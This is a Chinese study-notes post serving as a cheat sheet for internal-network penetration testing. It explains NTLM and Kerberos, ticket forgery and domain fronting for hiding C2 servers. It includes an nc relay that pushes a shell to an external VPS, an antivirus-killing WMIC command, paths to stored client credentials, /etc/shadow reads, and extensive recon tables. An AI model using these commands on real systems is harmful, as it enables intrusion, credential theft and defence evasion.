这一篇文章可以当作手册,速查命令,特别关于内网信息收集
一些内网攻击思路实战也有记录
内网常见的名字解释
工作组(Work Group)
最常见最简单最普通的资源管理模式,把电脑按照功能分别列入组中。
所有计算机平等,没有上下级管理关系,工作组网络也称之为对等网络
因为其缺乏验证连入电脑的身份,所以只适用于中小型计算机网络
大型网络需要统一的管理和集中的身份验证,并且能够给用户提供方便的搜索和使用网络资源的方式,于是域就出现了
域(Domain)
可理解为工作组的升级版
,有诸多规矩来确认入网用户身份,也就是有安全界,域模式下,至少需要一台服务器负责每一台连入网络的电以及用户的验证工作,该服务器称为 域控制器
域控制器(Domain Controller:DC)
域控制器中包含了由这个域的账户,密码,属于这个域的计算机等信息构成的数据库,类似密码本。
工作:当电脑连入网络的时候,域控制器首先需要鉴别这台电脑是否属于这个域的,用户所使用的登录账号,密码是否正确;当以上条件有一样不满足的,DC拒绝该电脑接入网络,起到保护网络资源的作用
意义:正是因为DC可以验证身份,因此是我们渗透测试的首要目标,拿下DC,这个域唾手可得
而想要实现域环境,就必须要计算机中安装活动目录
,也可以说如果在内网中的一台计算机上安装了活动目录,那它就变成了域控制器。在域中除了域控制器还有成员服务器
、客户机
、独立服务器
。
父域和子域
在域中建立的域,称为外层域的子域
域树
由多个域组成,域间共享同一表级结构和配置,形成一个连续的名字空间。
树中的域通过信任关系连接起来,活动目录(AD:用于存储信息)包含一个或多个域树。域树中,域层次越深级别越低:“.” ,代表一个层次,
1 | child.mc.com(2层次) |
多个域树可以组成一个域林。
域林
由一个或多个没有形成连续名字空间的域树组成,与域树的区别在于域林之间没有形成连续的名字空间,而域树则是由一些具有连续名字空间的域组成。
但是,域林中所有的域树仍共享同一个表结构,配置和全局目录。
域林中所有域树通过Kerberos(计算机网络授权协议其 特点是用户只需输入一次身份验证信息就可以凭借此验证获得的票据TGT (ticket-granting ticket) 访问多个服务,即 SSO (Single Sign On))信任关系建立。
域林的根域是域林中创建的第一个
域,域林中所有的域树的根域可以与域林的根域建立可传递的信任关系
1 | cas.com.cn(林根域) ,可以创建一个同属于该林的gxu.com.cn |
林,是一个或多个共享公共架构
和全局编录
的域
组成,每个域都有单独的安全策略,和与其他域的信任关系;一个单位可以有多个林。**
活动目录(Active Directory)
是Windows Server 中负责架构中大型网络环境的集中式目录管理服务,在Windows 2000 Server 开始内置于Windows Server产品中
目录包含了,有关的各种对象,比如:用户,用户组,计算机,域,组织单位(OU)以及安全策略的信息。目录存储在域控(DC)上,比关切可以被网络应用程序或者服务访问
活动目录
就相当于内网中各种资源
的一个目录,通过活动目录用户可以快速定位到这些资源的位置
。
DMZ(Demilitarized zone)
隔离区;非军事化区。
作用:为了解决安装防火墙后,外网的访问用户不能访问内网中资源,设立的一个非安全系统与安全系统之间的缓冲区。
不同于内网,也不是外网,在DMZ区常防止一些不含机密信息的公用服务器:web server,E-mail server,FTP服务器等。这样来自外网的访问者只能对于DMZ区域的资源进行访问,访问不到内网的机密信息,即使DMZ区域被破坏,内网不受影响。
域内的各种权限
组
什么是组? 组内包含很多用户,当管理员想要分配某个用户权限时,只需要将用户加入到对应的权限的组里皆可,很高的管理效率;常见的组有:域与本地组,全局组,通用组
域本地组
1 | 成员范围:所有的域 |
全局组
1 | 成员范围:自己所在的域 |
通用组
1 | 成员范围:所有的域; |
A-G-DL-P 策略
A-G-DL-P 策略是将用户账号
添加到全局组
中,将全局组
添加到域本地组
中,然后为域本地组分配资源权限。
- A 表示用户账号
- G 表示全局组
- U 表示通用组
- DL 表示域本地组
- P 表示资源权限
参考:内网渗透测试:内网环境与活动目录基础概念 - FreeBuf 网络安全行业门户
参考:TeamsSix(微信公众号)
windows安全认证机制
域渗透最基础
验证是什么?
认证是决定某人或某事是否确实是它声称的样子
NTLM验证
NTLM认证是什么?
NTLM验证时 NT LAN Manger的缩写,NTLM是基于 挑战/应答的身份验证协议,是Windows NT 早期版本中的标准安全协议。
本地验证
用户密码存储在SAM文件中,可以当作其为密码数据库,所有的操作均在本地进行,NTLM验证机制将用户输入的密码转换为NTLM Hash,然后与SAM文件中的NTLM Hash进行比较。
1 | 在本地登陆的情况下,操作系统会使用用户输入的密码作为凭据去与系统中的密码进行校验,如果成功的话表明验证通过。操作系统的密码存储在C盘的目录下:%SystemRoot%\system32\config\sam |
补充:NTLM Hash:
为了解决 LM Hash 的安全问题,微软于 1993 年在 Windows NT 3.1 中引入了 NTLM 协议。Windows 2000 / XP / 2003 在密码超过 14 位前使用 LM Hash,在密码超过 14 位后使用 NTLM Hash。而之后从 Vista 开始的版本都使用 NTLM Hash。
NTLM Hash 的计算方法为:
- 将密码转换为 16 进制,进行 Unicode 编码
- 基于 MD4 计算哈希值
本地验证的一些知识
SAM用于存储本地所有用户的凭证信息,但是我们用户不可所以查看系统密码,登陆时系统会自己带着你输入后的并且hash加密过的密码去与SAM中的比较,SAM不存储明文,存的是Hash
认证过程:当用户注销,或者重启,锁屏后,OS会让winlogon显示登录界面,当winlogon.exe收到密码输入后(账号默认上次登录账户),将密码交给lsass进程,该进程会将明文密码Hash加密后对SAM数据库进入比较
补充
winlogon.exe即Windows Logon Process,是Windows NT用户登陆程序,用于管理用户登录和退出。
LSASS用于微软Windows系统的安全机制。它用于本地安全和登陆策略。
网络验证
先了解:SMB协议:Server Message Block
1 | SMB(ServerMessage Block)通信协议是微软(Microsoft)和英特尔(Intel)在1987年制定的协议,主要是作为Microsoft网络的通讯协议。 |
NTLM协议的认证共需要三个消息完成:协商 —> 挑战 —> 认证
- 协商:用于确认双方协议版本,加密等级等
- 挑战:服务器收到客户端的协商消息之后,读取其中内容,选择自己支持的服务内容,加密等级,安全服务等,生成一个随机数challenge,生成其消息返回给客户端,此消息就是 challeng/response的体现
- 认证:挑战完成后,对结果的验证
基于challange/response机制:一般流程
- server接收到client发送的用户名后,判断本地账户列表是否存在该用户:否,则返回认证失败;是,则生成challenge,并且在server本地查找该用户对应的
NTLM Hash
加密算法,并使用该加密算法加密challenge生成一个Net-NTLM Hash(用于验证)
到内存中,发送challenge至client - client接受到challenge后,client将用户输入的密码进行转换,转换为
NTLM Hash
后,使用该NTLM Hash
加密challenge,加密后的结果为response(表现形式:Net-NTLM Hash),最后发送给server - server接收response后,将response与内存中的经过加密后的challenge比较,一致则认证成功,不一致,则认证失败。
- 最后server记录至登录日志
1 | NTLM v1与NTLM v2最显著的区别就是Challenge与加密算法不同,共同点就是加密的原料都是NTLM Hash。 |
一些常用端口:(下面也有些许记录)
1 | 53 |
总结
安全性较差,只需获得一个系统管理员的hash就可以直接拿个DC进行验证授权,账户名,用户名均已知
参考
微信:黑白天安全:(windows之NTLM验证){https://cloud.tencent.com/developer/article/1681373Kerberos}认证{
https://blog.csdn.net/irony0egoist/article/details/109493103}域前置{
https://blog.csdn.net/qq_41874930/article/details/107742843
https://cloud.tencent.com/developer/article/1785562?ivk_sa=1024320u
https://www.anquanke.com/post/id/243146},非常牛逼的平台,非常牛的河池学院!- NTLM 基础 介绍 - windows protocol (gitbook.io)
KERBEROS验证
kerberos看了好多次都没仔细了解过,是我对于学习还不是很深究学习,此乃大忌!
Kerberos是什么呢?
是冥界守护神兽!
Kerberos是一种网络认证协议,一种独立于主机操作系统的认证方式(独立=不依赖),无需基于主机地址的不信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意读取,篡改数据,换句话说,完全Kerberos认证完全是从一个不安全的网络出发进行安全认证的,拥有第三方信托机构,组成信任体系client
、server
、KDC(Key Distribution Center:密钥分发中心)
KDC:物理结构看,KDC包含AS和TGS
1 | DC=AD(Account Database)+ AS(Authenication Service)+ TGS(Ticket Granting Service) |
认证过程
在 Kerberos 认证系统中,用户首先向认证服务器申请初始票据,然后票据授权服务器 (TGS) 获得会话密码。(熟悉的第三方)
Client 密钥 TGS 密钥 和 Service 密钥 均为对应用户的 NTLM Hash,这三个 NTLM Hash 的唯一作用是确1保会话密钥 Sessionkey 的安全传输
了解了Kerberos的基本结构,现在看看上图,就是最概括的认证结构图,但是其中细节值得我深究一下,其详细:
用户登录:client
请求身份验证:AS认证服务器
AS收到用户任认证请求后,根据其中明文用户名信息在库中查询其是否存在
若用户名存在,根据用户名提取其对应的NTLM Hash作为AS生成client密钥,若clent的密码信息正确,则这个由AS生成的密钥与client生成的密钥是一样的
AS响应以下消息:
-Msg A:使用KDC生成的Client密钥去加密的CLIENT/TGS SESSIONKEY
-Msg B:使用TGS密钥加密的TGT,client无对应密钥,无法解开,所以这个TGT是去申请TGS授权的;但是可以利用自身的client密钥解开Msg A;TGT内容包含:
[Client/TGS SessionKey] Client ID Ticket 有效时间 CLient 地址
总结
AS 响应的消息中有一条是属于 Client 的,但另外一条却属于 TGS。
Client/TGS SessionKey 出现了两个 Copy,一个给 Client 端,一个给 TGS 端。
认证过程中的加密除哈希外均采用的是 对称加密 算法。
请求授权服务
总结
也就是如上图(白底),TGS最后通过AS下发的TGT,来给client授权
我有一个疑问,如果密码正确,可以直接在AS上验证,然后AS直接给到TGS直接下发授权凭证呢?-我自己的想法┗|`O′|┛ 嗷~~,欢迎大家批评;我先想到client的等待时间会加长,这个可以设置一个回显就可以搞定,排除这个,我其次考虑是AS服务器运行能力跟不上,但是AS也没干什么啊,只是验证密码hash和下发凭证给client,我觉得也不是这个,再就是如果,client取消申请,那么如果我假想的一体化KDC就会增加等待时间,会不灵活,再就是如果一体化,那么就需要设置机器识别码,那么就可能需要遍历所有的client去寻找这个TGS的授权申请者:一是不灵活,二是增加授权时间以及提高了运行要求;(这也是我学到这里想的,希望可以学到下面自己上来纠正)
,其实吧,回过头来看,我的想法有点蠢,因为完全是自己主观去看,其实KErberos验证的真正目的是安全,这样做多一次相互验证,更能保证安全性;(晚点再回过头来看看)发送服务请求
认证过程中防止伪造
票据伪造原理,伪造授权原理
2.2. AS确认client端登录者用户身份伪造原理
- 伪造黄金票据:若
获得用户密码的NTML Hash
,则主动使用该用户的NTML Hash作为TGS去加密TGT,此时,该TGT内容可以是任意服务,从AS返回client;此时伪造的TGT发送给KDC(发送至TGS),当KDC通过解密伪造的TGT,获取[CLIENT/TGS SESSIONKEY],也可直接解密Authenticator 1,并完成TGT与其的比对,那么就成功拿到TGS返回的授权凭证,去获得服务
4.1. client向SS发送服务请求伪造原理
- 伪造白银票据:若
获得服务器(SS)的NTML Hash
,则可以伪造ticket,看图就知道,ticket是由SS的密钥加密的,所以其中的任何内容,我们都可以伪造,也可也伪造Authenticator 2,当伪造的两个Msg发送至SS端,SS可以正常解锁,完成伪造
总结
使用票据验证方式,并支持双向验证,安全性比NTML高;在网络中传递消息非明文;它将每个用户要记住的使用整个网络的密码数量减少到一个 Kerberos 密码
黄金票据与白银票据的区别
访问权限不同
1
2黄金:伪造TGT-获取Kerberos的任何服务(AS认证下发)
白银;伪造TGS-只获取指定服务加密方式不同
1
2黄金:由Kerberos的Hash加密
白银:由服务账号Hash加密认证流程不同
1
黄金:利用过程需要访问域控,而白银不用
参考
域渗透学习(二)Kerberos 协议 | AresX’s Blog (ares-x.com)
深刻理解 windows 安全认证机制 [ntlm & Kerberos] | APT404 - 不作恶
NTML与Kerberors总结
域前置
Domain Fronting
域前置:
1 | 域前置(Domain fronting) |
Domain Fronting 的核心技术是 CDN,所以我们先来了解下 CDN 的工作机制。说到CDN就想到NSLOOKUP命令
1 | NSLOOKUP |
CDN是来加速网站的,但当同一个cdn下有两个网站,那么当我访问这两个域名时,实际上访问的都是1.1.1.1这个cdn,那么它是如何辨别我的目标域名的呢? 是我浏览器的请求包Host头中填入我们要访问的域名,也就是说,我们可以直接如下图也可也达到想要的效果;
1 | curl cdn地址 -H “Host:域名” -v |
看图可以知道,要是将我们的teamserver伪装成高信誉域名,那不就可以规避一下审查了吗?
所以域前置的原理是,在Host头中,一般设置为高信誉的域名,达到规避互联网审查的目的
另外,我们也可以知道,因为 CDN 的存在,我们访问网站时访问的实际上只是 CDN,而不是直接和网站的真实服务器进行通信,所以利用 CDN 的同时也可以隐藏我们真实 C2 服务器的 IP。
C2 就是 command&control server,命令控制 服务器:
一些云服务器的特性:但由于某云有一个有趣的特点:当 CDN 配置中的源 IP 为自己云的服务器时,加速时会跳过对域名的检验,直接与配置中的域名绑定的源服务器 IP 进行通信。利用该特性,我们不需要真正去申请 CDN 时所填写的域名中配置解析相应的 CNAME 了。换言之,只要我们的 C2 服务器属于该云的服务器,那么我们就无需申请域名,只需要在申请 CDN 时随便填一个没有人绑定过的域名就好了,而且这个域名我们可以填成任何高信誉的域名,例如 test.microsoft.com或oops.microsoft.com…
:总结,拿自己的云服务器的ip去填申请cdn的源ip就可以不用为云服务器申请域名
其实我还是不是很懂,域前置攻击是怎么样的一个样子,我没有尝试,我是这样认为,域前置就是通过cdn隐藏自己的c2服务器ip,即使在受控端查看程序流量,也只是发现是程序在与高信誉网站通信,emm好像这就是了吧,关键的还是要想办法伪装自己的C2服务器,不然直接被发现了,但是听我黄哥说,cs的流量特征太明显,还是很容易被扫出,最近买了小迪的课,去看看他的免杀,很期待
参考
1 | https://blog.csdn.net/qq_41874930/article/details/107742843 |
《内网安全攻防》中的网络层隧道协议,书中有关信息收集的内容已经写到内网信息收集里,故现在在此开启书中除了信息收集的内容
网络层隧道技术
ipv6隧道
ipv6报文作为ipv6小岛的货物,通过ipv4的船穿过ipv4的海洋,到达其他ipv6小岛,也就是通过ipv4协议去封装ipv6的报文。
攻击利用原因:边界设备,waf等还不支持过滤ipv6的恶意数据,但是大多数设备却支持ipv6协议,达到攻击目的,即使这些设备支持ipv6但是也不一定可以正确分析ipv4包中的ipv6报文数据
配置隧道与自动隧道
工具:socat,6tunnel,nt6tunnel
防御措施:升级防火墙的设备至安全性达到深度过滤ipv6数据包
inmp隧道
不需要开放端口即可进行通信
工具:icmpsh,pingtunnel-(有点麻烦)
攻击原理:将tcp/udp数据封装到icmp协议的ping命令中,从而过防火墙实现不受限制的网络访问
防御措施:因为出站icmp是被允许的,所以管理员可以通过wireshark监听
- ping只对应两个icmp包
- 大于64bit的数据要注意
- 响应与请求数据包的payload不一致的要拦截
- 检查icmp包的协议标签,有特征
传输层隧道技术
tcp隧道,udp隧道,端口转发(iptables打开获得权限机器的端口,若内网有waf等,那么tcp这些包就会被大批量过滤掉)
Icx端口转发技术
内网端口转发
首先还是需要获取机器权限,可以上传对应系统的lcx执行文件,其次就是需要vps监听转发来的端口,上述过程都需要下载lcx.exe(win)或portmap(linux)
1 | win |
使用mstsc登录远程桌面通过vps的6666
本地端口映射
若防火墙规则防御敏感端口的数据通过,则在受控端
1 | lcx.exe -tran 53 受控端ip 3389 |
3389的数据可以走防火墙允许的53等端口,让我们进行远程桌面连接
netcat
net:网络
cat:读取文件并回显内容
netcat就是读取网络上数据并回显
获取shell
- 正向shell:客户端获取服务端的shell,两个都在本地完成
- 反向shell:服务端获取客户端的shell,服务端发shell至本机或vps,这样可以规避掉防火墙入站规则检测
当然,可以nc完成反向,但是有时候,受控端是没有nc的,所以这时候可以使用php,bash,python,perl等来进行反向shell
1 | python反弹shell |
1 | php反弹shell |
1 | perl反弹shell |
1 | bash反弹 |
1 | Curl配合Bash反弹shell |
内网代理
环境:kali作为你的攻击机,假设你已经获取内网中一台服务器的shell,但是你想问内网中其他机器,但是你kali是访问不到的,所以你需要通过你获得权限的那台服务器作为跳板去访问另外一台,讲他的shell弹到公网的vps上
条件:可以命令执行被弹shell机子
流程:
攻击机监听指定端口vps-port
被弹shell主机执行监听port
跳板机上执行如下命令
1 | nc -v vps-ip vps-port -c 'nc 被弹shell主机ip port' |
内网信息收集
主机搜集内容,十分重要喔
1 | 操作系统、权限、内网IP地址段、杀软、端口、服务、补丁情况、网络环境情况、共享、会话等如果是域内主机,那么操作系统、应用软件、补丁、服务、杀软等。 |
windows
基本信息收集
whoami /user | 查看当前用户 |
---|---|
quser 或 qwinsta | 查询登录用户 |
whoami /priv | 查看当前用户权限 |
systeminfo | 查看系统信息 |
netstat -ano | 查看本机端口 |
hostname | 机器名 |
wmic OS get Caption,CSDVersion,OSArchitecture,Version | 当前操作系统 |
WMIC /Node:localhost /Namespace:\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:list | 查杀软 |
wmic product get name,version | 查看已安装程序 |
tasklist /v | 查看进程(还有参数) |
echo %PROCESSOR_ARCHITECTURE% | 查看系统结构:x64/86 |
wmic qfe get Caption,Description,HotFixID,InstalledOn | 查询已安装的补丁列表 |
query termserver | 查询远程桌面主机列表 |
wmic service list brief | 查询当前机器的服务信息 |
wmic startup get command,caption | 查看启动项 |
query session | 查询会话 |
Wmic process where name=“XXX.exe” call terminate | 通过WMIC命令来停止运行反病毒服务 |
https://www.cnblogs.com/-qing-/p/10661480.html | WMI在渗透测试的使用 |
powershell 查询所有安装过的软件及版本 |
1 | powershell 查询所有安装过的软件及版本 |
网络收集
ipconfig /all | 列出当前主机详细网络信息 |
---|---|
ipconfig /displaydns | 列出dns缓存信息 |
route print | 查询路由表 |
nbtstat.exe ip | 探测域内存活主机的一种方式 |
ICMP协议进行探测 | 探测域内存活主机的一种方式 |
VBS脚本 | 探测域内存活主机的一种方式 |
arp -a ip | 探测域内存活主机的一种方式 |
arp -a | 地址解析协议缓存表 |
netstat -ano | 端口使用情况 |
net share 或 wmic share get name,path,status | 查看共享信息 |
net view | 查看共享资源列表 |
type c:\Windows\system32\drivers\etc\hosts | 查看 host 文件 |
telnet DC 22 | 收集域内端口 |
S 扫描器:适合大网段且windows 2003 server下 | 收集域内端口 |
Metasploit auxiliary/scanner/portscan/tcp | 收集域内端口 |
系统日志
1 | 系统日志 |
获取域用户信息
net view /domain | 查询域 |
---|---|
net user username | 查看某个本机用户的具体信息 |
net config workstation | 查看当前登录域 |
net user 域用户/domain | 获取某个域用户的详细信息 |
net session | 查看谁在本地计算机上使用了资源 |
net user /domain xxx 1231312 | 修改域用户的密码,需要域管理员权限 |
net group 组名 /domain | 查看域中某工作组 |
net group /domain | 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作) |
net accounts /domain | 查询域密码策略 |
net time /domain | 判断主域,因为DC同时作为时间服务器使用 |
net accounts /domain | 查询域密码策略 |
nltest /domain_trusts | 获取域信任信息 |
nltest /dclist:domain | 查询域内的所有DC |
nltest /dsgetdc:domain | 拿到DC当前的认证信息 |
nltest /domain_trusts | 查询域信任信息 |
nltest /user:”username” | 得到username信息 |
net group “Domain Controllers” /domain | 查看域控制器组 |
wmic useraccount get /all | 获取域内用户详细信息 |
net localgroup adminstrator | 查询本地管理员组用户 |
net group “domain admins” /domain | 查询域管理员用户组 |
net group “enterprise admins” /domain | 查询管理员用户组 |
操作记录
1 | 查询 powershell 当前窗口历史操作记录:Get-History | Format-List -Property * |
配置文件路径
IIS 配置文件路径为
1 | %windir%\system32\inetsrv\config\applicationHost.config |
Navicat的数据库与其路径
1 | MySQL HKEYCURRENTUSER\Software\PremiumSoft\Navicat\Servers\ |
SecureCRT系统版本和路径
1 | xp/win2003 C:\Documents and Settings\USERNAME\Application Data\VanDyke\Config\Sessions |
Xshell
1 | Xshell 5 %userprofile%\Documents\NetSarang\Xshell\Sessions |
VNC
1 | RealVNC HKEYLOCALMACHINE\SOFTWARE\RealVNC\vncserver Password |
btw:
自动化信息收集可以上传一个WMIC脚本上机,该收集后会生成html文件报告
使用Empire:直接看别人文档就好
针对DNS的搜集
NSLOOKUP
nslookup 命令几乎在所有的 PC 操作系统上都有安装,用于查询 DNS 的记录,查看域名解析是否正常,在网络故障的时候用来诊断网络问题。信息安全人员,可以通过返回的信息进行信息搜集。
也可以在信息收集的过程中,使用nslookup来解析域名的ip,用解析得到的ip对ipconfig命令得到的进行对比,从而知道,DNS和DC是不是在一个服务器上
DIG
Dig 也是对 DNS 信息进行搜集的工具,dig 相比 nsllooup 不光功能更丰富,首先通过默认的上连 DNS 服务器去查询对应的 IP 地址,然后再以设置的 dnsserver 为上连 DNS 服务器。
关于定位域管理员的工具
内网渗透测试的需求是,在内网环境中,得到特定的用户权限或者机器权限,从而获得特定的资源,对内网进行评估
两种方式
- 会话:域内每台机器的登录会话
- 日志:本地机器的管理员日志
常用的定位工具有:
psloggedon.exe
1
2
3
4
5
6
7
8
9
10psloggedon [-] [-l] [-x] [\\computername|username]
-:显示支持的选项和用于输出值的单位。
-l:仅显示本地登录,不显示本地和网络资源登录。
-x:不显示登录时间。
\\computername:指定要列出登录信息的计算机的名称。
Username:指定用户名,在网络中搜索该用户登录的计算机。
指定要列出登录信息的计算机的名称
- PsLoggedon.exe \\win-7psloggedon.exe 可以显示本地登录的用户和通过本地计算机或远程计算机的资源登录的用户指定了用户名而不是计算机,psloggedon.exe 会搜索网络邻居中的计算机,并显示该用户当前是否已登录,其原理是通过检 验注册表里 HKEY_USERS 项的 key 值来查询谁登录过机器(同样调用了 NetSessionEnum API), 某些功能需要拥有管理员权限才能使用。下载地址:https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon
PVEFindADUser
1
2
3
4
5
6
7
8
9
10
11
12
13pveFindADUser.exe <参数>
-h:显示帮助。
-u:检查是否有更新版本的实用程序。
-current [''username'']:如果仅指定了-current 参数,将获取所有目标计算机上当前登录的所有用户。如果指定了用户名(DOMAIN\Username),则显示该用户登录的计算机。
-last [''username'']:如果仅指定了-last 参数,将获取目标计算机上的最后一个登录用户。如 果指定了用户名(DOMAIN\Username),则显示具有此用户账户作为上次登录的计算机.根据网络的策略,可能会隐藏最后一个登录用户名,且该工具可能无法得到该用户名。
-noping:阻止该工具在尝试获取用户登录信息之前对目标计算机执行 ping 命令。
-target:可选参数,用于指定要查询的主机。如果未指定此参数,将查询当前域中的所有主机。如果指定此参数,则后跟一个由逗号分隔的主机名列表。
获取所有目标计算机上当前登录的所有用户
- pveFindADUser.exe -current
指定了用户名(DOMAIN\Username),则显示该用户登录的计算机
- pveFindADUser.exe -current hacker\zhiqiupveFindADUser.exe 可用于查找 Active Directory 用户登录的位置,枚举域用户,以及查找在 特定计算机上登录的用户,包括本地用户、通过 RDP 登录的用户、用于运行服务和计划任务的用户账 户。运行该工具的计算机需要具有.NET Framework 2.0,并且需要具有管理员权限。下载地址:https://github.com/chrisdee/Tools/tree/master/AD/ADFindUsersLoggedOn
Netview
1
2
3
4
5
6
7
8
9
10
11
12netview.exe <参数>
-h:显示帮助菜单。
-f filename.txt:指定从中提取主机列表的文件。
-e filename.txt:指定要排除的主机名文件。
-o filename.txt:将所有输出重定向到文件。
-d domain:指定从中提取主机列表的域。如果没有指定,则使用当前域。
-g group:指定用户搜寻的组名。如果没有指定,则使用 Domain Admins。
-c:检查对已找到共享的访问权限。
指定从中提取主机列表的域。如果没有指定,则使用当前域
- netview.exe -dnetview.exe 是一个枚举工具,使用 WinAPI 枚举系统,利用 NetSessionEnum 找寻登录会话, 利用 NetShareEnum 找寻共享,利用 NetWkstaUserEnum 枚举登录的用户。同时,netview.exe 能够 查询共享入口和有价值用户下载地址: https://github.com/mubix/netview (需编译) || 下载地址:https://malicious.link/projects/netview.exe (自翻)
Netsess
1
2
3
4查看当前会话连接
- netsess.exe 主机名
查询每个DC
- netsess -h下载地址:http://www.joeware.net/freetools/tools/netsess/index.htm
PowerView脚本
1
2Invoke-UserHunter:找到域内特定的用户群。它接收用户名、用户列表或域组查询,并接收一个主机列表或查询可用的主机域名。
- Powershell.exe -exec bypass -command "& {import-module C:\Users\zhiqiu\Desktop\定位域管理员工具\powerview.ps1;invoke-UserHunter}"下载地址: https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
Empire中的user_hunter模块
1
2
3
4
5获取反弹shell
使用命令
usemodule situational_awareness/network/powerview/user_hunter
可查看域用户登陆信息
PS:本地测试一直没有回显出来,留个坑后续填下载地址: https://github.com/EmpireProject/Empire
下载地址:https://github.com/interference-security/empire-web.git (web版)
Nmap的 NSE脚本
查找域管理进程
权限的提升,通常使用收集明文凭据活mimikatz(kiwi)获取明文密码;在获取了域管理员权限的系统进行域管理员登录进程的收集,进而获取到凭据
若内网复杂难以获得域管理权限,一般使用方法是,在跳板机之间不断跳转,直至获得权限:首先需要获得一台机器的本地管理员权限,进而对本机的登录用户信息进行分析,若发现获得权限的登录用户都不是域管理组的用户,且域管理组的用户没有登录过这台服务器,那么此时我们就放弃对这台机子的渗透,转而使用其他的账户,重复上述,直至获得
本机检查
获取域管理员列表
1
net group "Domain Admins" /domain
列出所有进程以及用户
1
tasklist /v
寻找winlogon.exe,也就是登录进程,理想状态下,找到就可以开始收集凭据,但是一般都是事与愿违
查询域控制器的域用户会话
域用户会话与域管理员列表交叉引用,其实也就是求并集,并集若存在,那么算是找到了
查询域控制器列表
1
net group "Domain Controllers" /domain
收集域管理员列表
1
net group "Domain Admins" /domain
收集所有的会话列表
1
NetSess -h
交叉引用管理员列表与会话列表
1
2
3使用脚本实现
GDA批处理脚本
GDA.bat下载地址 https://github.com/nullbind/Other-Projects/tree/master/GDA
查询远程系统中运行的任务
从Domain Admins组中收集域管理员列表
1
net group "Domain Admins" /domain
运行ps脚本(用人说不怎么灵)
1
FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt && FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause
扫描远程系统的NetBios
什么是NB:NetBIOS,为网络基本输入输出系统的缩写,它提供了OSI模型中的会话层服务,让在不同电脑上运行的不同程序,可以在局域网中,互相连线,以及分享资料。不是协议而是借接口
1 | for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i |
利用ps来收集信息
WMI是什么?WMI是一项核心的Windows管理技术,WMI作为一种规范和基础结构,通过它可以访问、配置、管理和监视几乎所有的Windows资源;**WMI在渗透测试中的价值在于它不需要下载和安装, 因为WMI是Windows系统自带功能,不会留下任何痕迹
PowerView.ps1下载地址 https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
域分析工具 BLOODHOUND
使用BloodHound,可以快速、深人地了解活动目录中用户之间的关系,获取哪些用户具有管理员权限、哪些用户对所有的计算机都具有管理员权限、哪些用户是有效的用户组成员等信息。简而言之,可以加速查找域管理进程的过程
要在本地搭建,windows有点麻烦,我选择kali虚拟机,wsl没成功,说是java问题喔
太慢了吧也!下载好了,是我网卡,对不起
配置还是比较简单,跟着教程来就好
装好后,还没有使用,因为还没有搭建环境,也没有遇到环境,可能接下来几天会遇到,前提是windows下的
1 | kali安装 |
主要来说就是你还是需要获取三类信息给它本身:
- 哪些用户登录了哪些机器?
- 哪些用户拥有管理员权限?
- 哪些用户和组属于哪些组?
BloodHound需要的这三条信息依赖于PowerView.ps1脚本
BloodHound 分为两部分,一是PowerShell采集器脚本( 有两个版本,旧版本叫作BloodHound_ Old.ps1, 新版本叫作SharpHound.ps1 ),二是可执行文件SharpHound.exe。在大多数情况下,收集此信息不需要系统管理员权限。
下载到我的内网文件夹了,但是需要你上传上去,当然这都是小事
上传exe到目标机器,ps运行程序,等待,会有一压缩包生成在当前exe目录,通过cs下载到bloodhound机器,bh支持通过界面上传单个文件和ZIP文件,最简单的方法是将压缩文件放到界面上节点信息选项卡以外的任意位置。文件上传后,即可查看内网的相关信息。
判断机器是否出网
icmp协议
tcp协议:nc -zv ip port
http协议:curl
DNS协议:nslookup domain vps-ip 或者 dig
参考
1 | https://www.cnblogs.com/21r000/p/15612307.html |
Linux
获取内核,操作系统和设备信息
命令 | 作用 |
---|---|
uname -a | 打印所有可用的系统信息 |
uname -r | 内核版本信息 |
uname -n | 系统主机名字 |
hostname | 主机名 |
uname -m | Linux 内核架构(x86/x64) |
cat /proc/version | 内核信息 |
cat /etc/*-release | 发布信息 |
cat /etc/issue | 发布信息 |
cat /proc/cpuinfo | CPU 信息 |
df -a | 文件系统信息 |
用户和组
命令 | 作用 |
---|---|
cat /etc/passwd | 列出系统所有用户 |
cat /etc/group | 列出系统所有组 |
cat /etc/shadow | 列出所有用户 hash(需要 root 权限) |
finger、finger user | 当前登录的用户、查询用户的基本信息 |
users | 当前登录的用户 |
who -a | 当前登录的用户 |
w | 显示目前登入系统的用户有那些人,以及他们正在执行的程序 |
last | 显示登入过的用户信息 |
lastlog | 显示系统中所有用户最近一次登录信息 |
lastlog –u %username% | 显示指定用户最后一次登入信息 |
用户和权限信息
命令 | 作用 |
---|---|
whoami | 当前用户 |
id | 当前用户信息 |
cat /etc/sudoers | 可以使用 sudo 提升到 root 的用户(需要 root 权限) |
sudo | 允许普通用户执行一些或者全部的 root 命令的一个工具 |
sudo -l | 列出目前用户可执行与无法执行的指令 |
su | 切换当前用户身份到其他用户身份 |
环境信息
命令 | 作用 |
---|---|
env | 打印系统环境信息 |
set | 打印系统环境信息 |
echo $PATH | 环境变量中的路径信息 |
history | 打印历史命令 |
pwd | 显示当前路径 |
cat /etc/profile | 显示默认系统遍历 |
cat /etc/shells | 显示可用的 shell |
有用的命令
命令 | 作用 |
---|---|
find / -perm -4000 -type f | 查找 SUID 的文件 |
find / -uid 0 -perm -4000 -type f | 查找 root 权限的 SUID 文件 |
find / -perm -2 -type f | 找出可写的文件 |
find / ! -path “/proc/“ -perm -2 -type f -print | 查找 /proc 以外的可写文件 |
find / -perm -2 -type d | 找出可写目录 |
find /home –name *.rhosts -print | 查找 rhosts 的配置文件 |
find /home -iname *.plan -exec ls -la {} ; -exec cat {} | 查询文件并打印 |
ls -ahlR /root/ | 查看是否有权限列用户目录 |
cat ~/.bash_history | 查看当前用户的历史记录 |
ls -la ~/.*_history | 查看当前用户的各种历史记录 |
ls -la ~/.ssh/ | 查看用户 ssh 登录信息 |
ls -la /usr/sbin/in.* | 检查 inetd 服务的配置 |
